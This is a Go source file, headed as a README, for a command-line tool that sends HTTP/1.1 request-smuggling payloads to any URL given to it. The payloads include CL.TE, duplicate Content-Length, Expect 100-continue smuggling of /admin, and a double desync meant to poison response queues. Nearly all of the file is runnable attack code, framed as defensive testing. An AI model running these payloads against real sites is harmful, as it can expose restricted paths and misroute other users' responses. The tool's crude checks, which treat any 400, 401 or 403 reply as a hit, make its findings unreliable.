README.md
Rendering markdown...
// HTTP/1 Desync Vulnerability Testing Tool
//
// Based on research by James Kettle (@albinowax) - PortSwigger
// Original research: "HTTP/1 Must Die" - https://portswigger.net/research/http1-must-die
//
// This tool implements the attack patterns and detection methods discovered by
// James Kettle during his groundbreaking research into HTTP/1.1 request smuggling
// vulnerabilities. The techniques implemented here are for defensive security
// testing purposes only.
//
// Research Credits:
// - James Kettle: Original vulnerability research and attack methodology
// - PortSwigger: Research publication and tooling support
//
// For educational and authorized security testing only.
package main
import (
"bufio"
"crypto/tls"
"flag"
"fmt"
"io"
"net"
"net/url"
"strings"
"time"
"github.com/fatih/color"
)
type DesyncTest struct {
Target string
Timeout time.Duration
Verbose bool
TestType string
Connection net.Conn
Reader *bufio.Reader
IsTLS bool
}
func NewDesyncTest(target string, timeout time.Duration, verbose bool, testType string) (*DesyncTest, error) {
parsedURL, err := url.Parse(target)
if err != nil {
return nil, fmt.Errorf("invalid URL: %v", err)
}
isTLS := parsedURL.Scheme == "https"
host := parsedURL.Host
if !strings.Contains(host, ":") {
if isTLS {
host += ":443"
} else {
host += ":80"
}
}
var conn net.Conn
if isTLS {
tlsConfig := &tls.Config{
InsecureSkipVerify: true,
ServerName: parsedURL.Hostname(),
}
conn, err = tls.DialWithDialer(&net.Dialer{Timeout: timeout}, "tcp", host, tlsConfig)
} else {
conn, err = net.DialTimeout("tcp", host, timeout)
}
if err != nil {
return nil, fmt.Errorf("connection failed: %v", err)
}
return &DesyncTest{
Target: target,
Timeout: timeout,
Verbose: verbose,
TestType: testType,
Connection: conn,
Reader: bufio.NewReader(conn),
IsTLS: isTLS,
}, nil
}
func (dt *DesyncTest) Close() {
if dt.Connection != nil {
dt.Connection.Close()
}
}
func (dt *DesyncTest) sendRawRequest(request string) error {
if dt.Verbose {
color.Yellow("[*] Sending request:\n%s", request)
}
dt.Connection.SetWriteDeadline(time.Now().Add(dt.Timeout))
_, err := dt.Connection.Write([]byte(request))
return err
}
func (dt *DesyncTest) readResponse() (string, error) {
dt.Connection.SetReadDeadline(time.Now().Add(dt.Timeout))
response := strings.Builder{}
buffer := make([]byte, 4096)
for {
n, err := dt.Reader.Read(buffer)
if n > 0 {
response.Write(buffer[:n])
}
if err == io.EOF {
break
}
if err != nil {
if netErr, ok := err.(net.Error); ok && netErr.Timeout() {
break
}
if response.Len() > 0 {
break
}
return "", err
}
if strings.Contains(response.String(), "\r\n\r\n") {
contentLength := extractContentLength(response.String())
if contentLength >= 0 {
headerEnd := strings.Index(response.String(), "\r\n\r\n") + 4
bodyLength := response.Len() - headerEnd
if bodyLength >= contentLength {
break
}
}
}
}
result := response.String()
if dt.Verbose && result != "" {
color.Green("[*] Response received:\n%s", result)
}
return result, nil
}
func extractContentLength(response string) int {
lines := strings.Split(response, "\r\n")
for _, line := range lines {
if strings.HasPrefix(strings.ToLower(line), "content-length:") {
parts := strings.Split(line, ":")
if len(parts) >= 2 {
length := strings.TrimSpace(parts[1])
var cl int
fmt.Sscanf(length, "%d", &cl)
return cl
}
}
}
return -1
}
// testVHDesync implements the V-H (Visible-Hidden) desync attack pattern
// discovered by James Kettle. This technique exploits parser discrepancies where
// the front-end proxy sees one request boundary while the back-end sees another.
//
// Research source: James Kettle's "HTTP/1 Must Die" - demonstrated against
// major CDN providers including Cloudflare and others.
func (dt *DesyncTest) testVHDesync() error {
parsedURL, _ := url.Parse(dt.Target)
host := parsedURL.Host
color.Cyan("[+] Testing V-H (Visible-Hidden) Desync Attack")
color.Yellow(" Pattern: James Kettle's visible-hidden parser discrepancy")
payload := fmt.Sprintf(
"GET /style.css HTTP/1.1\r\n"+
"Host: %s\r\n"+
"Foo: bar\r\n"+
"Content-Length: 23\r\n"+
"\r\n"+
"GET /404 HTTP/1.1\r\nX: y",
host,
)
if err := dt.sendRawRequest(payload); err != nil {
return fmt.Errorf("failed to send V-H payload: %v", err)
}
response1, err := dt.readResponse()
if err != nil {
return fmt.Errorf("failed to read first response: %v", err)
}
normalRequest := fmt.Sprintf(
"GET / HTTP/1.1\r\n"+
"Host: %s\r\n"+
"Connection: keep-alive\r\n"+
"\r\n",
host,
)
if err := dt.sendRawRequest(normalRequest); err != nil {
return fmt.Errorf("failed to send normal request: %v", err)
}
response2, err := dt.readResponse()
if err != nil {
return fmt.Errorf("failed to read second response: %v", err)
}
if strings.Contains(response2, "404") || strings.Contains(response2, "Not Found") {
color.Red("[!] Potential V-H Desync vulnerability detected!")
color.Yellow(" The second request received a 404 response, indicating request smuggling")
return nil
}
if response1 != "" && response2 != "" {
color.Green("[✓] No V-H desync detected")
}
return nil
}
// test0CLDesync implements the 0.CL (Zero Content-Length) desync attack
// based on James Kettle's research findings against IIS and T-Mobile infrastructure.
// This attack exploits different interpretations of Content-Length: 0 headers.
//
// Research source: Successfully demonstrated in James Kettle's bug bounty research
// earning significant payouts from major infrastructure providers.
func (dt *DesyncTest) test0CLDesync() error {
parsedURL, _ := url.Parse(dt.Target)
host := parsedURL.Host
color.Cyan("[+] Testing 0.CL (Zero Content-Length) Desync Attack")
color.Yellow(" Pattern: James Kettle's IIS/T-Mobile Content-Length: 0 exploit")
payload := fmt.Sprintf(
"GET /test HTTP/1.1\r\n"+
"Host: %s\r\n"+
"Content-Length: 0\r\n"+
"Content-Length: 7\r\n"+
"\r\n"+
"GET / HTTP/1.1\r\nHost: %s\r\n\r\n",
host, host,
)
if err := dt.sendRawRequest(payload); err != nil {
return fmt.Errorf("failed to send 0.CL payload: %v", err)
}
response1, err := dt.readResponse()
if err != nil {
return fmt.Errorf("failed to read first response: %v", err)
}
normalRequest := fmt.Sprintf(
"GET /index HTTP/1.1\r\n"+
"Host: %s\r\n"+
"Connection: keep-alive\r\n"+
"\r\n",
host,
)
if err := dt.sendRawRequest(normalRequest); err != nil {
return fmt.Errorf("failed to send normal request: %v", err)
}
response2, err := dt.readResponse()
if err != nil {
return fmt.Errorf("failed to read second response: %v", err)
}
if !strings.Contains(response2, "/index") && strings.Contains(response2, "200") {
color.Red("[!] Potential 0.CL Desync vulnerability detected!")
color.Yellow(" The second request received an unexpected response")
return nil
}
if response1 != "" && response2 != "" {
color.Green("[✓] No 0.CL desync detected")
}
return nil
}
// testExpectDesync implements Expect: 100-continue desync attacks discovered
// by James Kettle in his research against T-Mobile and LastPass systems.
// This technique exploits different handling of the continuation mechanism.
//
// Research source: James Kettle's T-Mobile and LastPass vulnerability research
// demonstrating authentication bypass through Expect header manipulation.
func (dt *DesyncTest) testExpectDesync() error {
parsedURL, _ := url.Parse(dt.Target)
host := parsedURL.Host
color.Cyan("[+] Testing Expect Header-based Desync Attack")
color.Yellow(" Pattern: James Kettle's T-Mobile/LastPass Expect: 100-continue exploit")
smuggledPath := "/admin"
smuggledRequest := fmt.Sprintf("GET %s HTTP/1.1\r\nHost: %s\r\n\r\n", smuggledPath, host)
contentLength := len(smuggledRequest)
payload := fmt.Sprintf(
"POST /logout HTTP/1.1\r\n"+
"Host: %s\r\n"+
"Expect: 100-continue\r\n"+
"Content-Length: %d\r\n"+
"\r\n"+
"%s",
host, contentLength, smuggledRequest,
)
if err := dt.sendRawRequest(payload); err != nil {
return fmt.Errorf("failed to send Expect payload: %v", err)
}
response1, err := dt.readResponse()
if err != nil && !strings.Contains(err.Error(), "timeout") {
return fmt.Errorf("failed to read first response: %v", err)
}
if strings.Contains(response1, "100 Continue") {
color.Yellow("[*] Server supports Expect: 100-continue")
}
normalRequest := fmt.Sprintf(
"GET / HTTP/1.1\r\n"+
"Host: %s\r\n"+
"Connection: keep-alive\r\n"+
"\r\n",
host,
)
if err := dt.sendRawRequest(normalRequest); err != nil {
return fmt.Errorf("failed to send normal request: %v", err)
}
response2, err := dt.readResponse()
if err != nil && !strings.Contains(err.Error(), "timeout") {
return fmt.Errorf("failed to read second response: %v", err)
}
if strings.Contains(response2, smuggledPath) || strings.Contains(response2, "admin") ||
strings.Contains(response2, "403") || strings.Contains(response2, "401") {
color.Red("[!] Potential Expect-based Desync vulnerability detected!")
color.Yellow(" The second request shows signs of request smuggling")
return nil
}
color.Green("[✓] No Expect-based desync detected")
return nil
}
// testDoubleDesync implements the sophisticated double-desync attack for
// Response Queue Poisoning as discovered by James Kettle. This represents
// one of the most advanced techniques in his research.
//
// Research source: James Kettle's advanced desync methodology enabling
// complete site takeover by poisoning response queues.
func (dt *DesyncTest) testDoubleDesync() error {
parsedURL, _ := url.Parse(dt.Target)
host := parsedURL.Host
color.Cyan("[+] Testing Double-Desync Attack (Response Queue Poisoning)")
color.Yellow(" Pattern: James Kettle's advanced response queue poisoning technique")
payload1 := fmt.Sprintf(
"POST /test HTTP/1.1\r\n"+
"Host: %s\r\n"+
"Content-Length: 92\r\n"+
"\r\n"+
"GET /poison HTTP/1.1\r\n"+
"Host: %s\r\n"+
"Content-Length: 180\r\n"+
"Foo: GET /victim HTTP/1.1\r\n"+
"\r\n",
host, host,
)
if err := dt.sendRawRequest(payload1); err != nil {
return fmt.Errorf("failed to send first desync payload: %v", err)
}
response1, _ := dt.readResponse()
time.Sleep(100 * time.Millisecond)
payload2 := fmt.Sprintf(
"GET /test2 HTTP/1.1\r\n"+
"Host: %s\r\n"+
"Connection: keep-alive\r\n"+
"\r\n",
host,
)
if err := dt.sendRawRequest(payload2); err != nil {
return fmt.Errorf("failed to send second payload: %v", err)
}
response2, _ := dt.readResponse()
normalRequest := fmt.Sprintf(
"GET /normal HTTP/1.1\r\n"+
"Host: %s\r\n"+
"Connection: close\r\n"+
"\r\n",
host,
)
if err := dt.sendRawRequest(normalRequest); err != nil {
return fmt.Errorf("failed to send normal request: %v", err)
}
response3, _ := dt.readResponse()
if (response2 != "" && strings.Contains(response2, "poison")) ||
(response3 != "" && !strings.Contains(response3, "/normal")) {
color.Red("[!] Potential Double-Desync vulnerability detected!")
color.Yellow(" Response queue appears to be poisoned")
return nil
}
if response1 != "" || response2 != "" || response3 != "" {
color.Green("[✓] No Double-Desync detected")
}
return nil
}
// testCLTEDesync implements the fundamental CL.TE (Content-Length vs Transfer-Encoding)
// conflict attack that forms the core of James Kettle's HTTP/1.1 research.
// This represents the fundamental flaw in HTTP/1.1 specification.
//
// Research source: Core finding of James Kettle's "HTTP/1 Must Die" research
// demonstrating the fundamental ambiguity in HTTP/1.1 request boundaries.
func (dt *DesyncTest) testCLTEDesync() error {
parsedURL, _ := url.Parse(dt.Target)
host := parsedURL.Host
color.Cyan("[+] Testing CL.TE (Content-Length vs Transfer-Encoding) Desync Attack")
color.Yellow(" Pattern: James Kettle's foundational HTTP/1.1 specification flaw")
payload := fmt.Sprintf(
"POST / HTTP/1.1\r\n"+
"Host: %s\r\n"+
"Content-Length: 13\r\n"+
"Transfer-Encoding: chunked\r\n"+
"\r\n"+
"0\r\n"+
"\r\n"+
"GET /admin HTTP/1.1\r\n"+
"Host: %s\r\n"+
"\r\n",
host, host,
)
if err := dt.sendRawRequest(payload); err != nil {
return fmt.Errorf("failed to send CL.TE payload: %v", err)
}
response1, err := dt.readResponse()
if err != nil && !strings.Contains(err.Error(), "timeout") {
return fmt.Errorf("failed to read first response: %v", err)
}
normalRequest := fmt.Sprintf(
"GET / HTTP/1.1\r\n"+
"Host: %s\r\n"+
"Connection: keep-alive\r\n"+
"\r\n",
host,
)
if err := dt.sendRawRequest(normalRequest); err != nil {
return fmt.Errorf("failed to send normal request: %v", err)
}
response2, err := dt.readResponse()
if err != nil && !strings.Contains(err.Error(), "timeout") {
return fmt.Errorf("failed to read second response: %v", err)
}
if strings.Contains(response2, "admin") || strings.Contains(response2, "403") ||
strings.Contains(response2, "401") || strings.Contains(response2, "400") {
color.Red("[!] Potential CL.TE Desync vulnerability detected!")
color.Yellow(" The second request shows signs of request smuggling")
return nil
}
if response1 != "" && response2 != "" {
color.Green("[✓] No CL.TE desync detected")
}
return nil
}
func main() {
var (
target = flag.String("target", "", "Target URL (e.g., https://example.com)")
timeout = flag.Duration("timeout", 5*time.Second, "Request timeout")
verbose = flag.Bool("verbose", false, "Enable verbose output")
testType = flag.String("test", "all", "Test type: all, vh, 0cl, expect, double, clte")
)
flag.Parse()
if *target == "" {
color.Red("Error: Target URL is required")
flag.Usage()
return
}
if !strings.HasPrefix(*target, "http://") && !strings.HasPrefix(*target, "https://") {
*target = "https://" + *target
}
color.Yellow("╔══════════════════════════════════════════════════════╗")
color.Yellow("║ HTTP/1 Desync Vulnerability Tester ║")
color.Yellow("║ Based on James Kettle's Research (@albinowax) ║")
color.Yellow("║ For Defensive Security Testing Only ║")
color.Yellow("╚══════════════════════════════════════════════════════╝")
fmt.Println()
color.Cyan("[*] Target: %s", *target)
color.Cyan("[*] Test Type: %s", *testType)
fmt.Println()
tests := map[string]func(*DesyncTest) error{
"vh": (*DesyncTest).testVHDesync,
"0cl": (*DesyncTest).test0CLDesync,
"expect": (*DesyncTest).testExpectDesync,
"double": (*DesyncTest).testDoubleDesync,
"clte": (*DesyncTest).testCLTEDesync,
}
if *testType == "all" {
for testName, testFunc := range tests {
dt, err := NewDesyncTest(*target, *timeout, *verbose, testName)
if err != nil {
color.Red("[!] Failed to initialize test: %v", err)
continue
}
if err := testFunc(dt); err != nil {
color.Red("[!] Test failed: %v", err)
}
dt.Close()
fmt.Println()
time.Sleep(500 * time.Millisecond)
}
} else {
testFunc, exists := tests[*testType]
if !exists {
color.Red("[!] Unknown test type: %s", *testType)
return
}
dt, err := NewDesyncTest(*target, *timeout, *verbose, *testType)
if err != nil {
color.Red("[!] Failed to initialize: %v", err)
return
}
defer dt.Close()
if err := testFunc(dt); err != nil {
color.Red("[!] Test failed: %v", err)
}
}
fmt.Println()
color.Yellow("[*] Testing complete")
}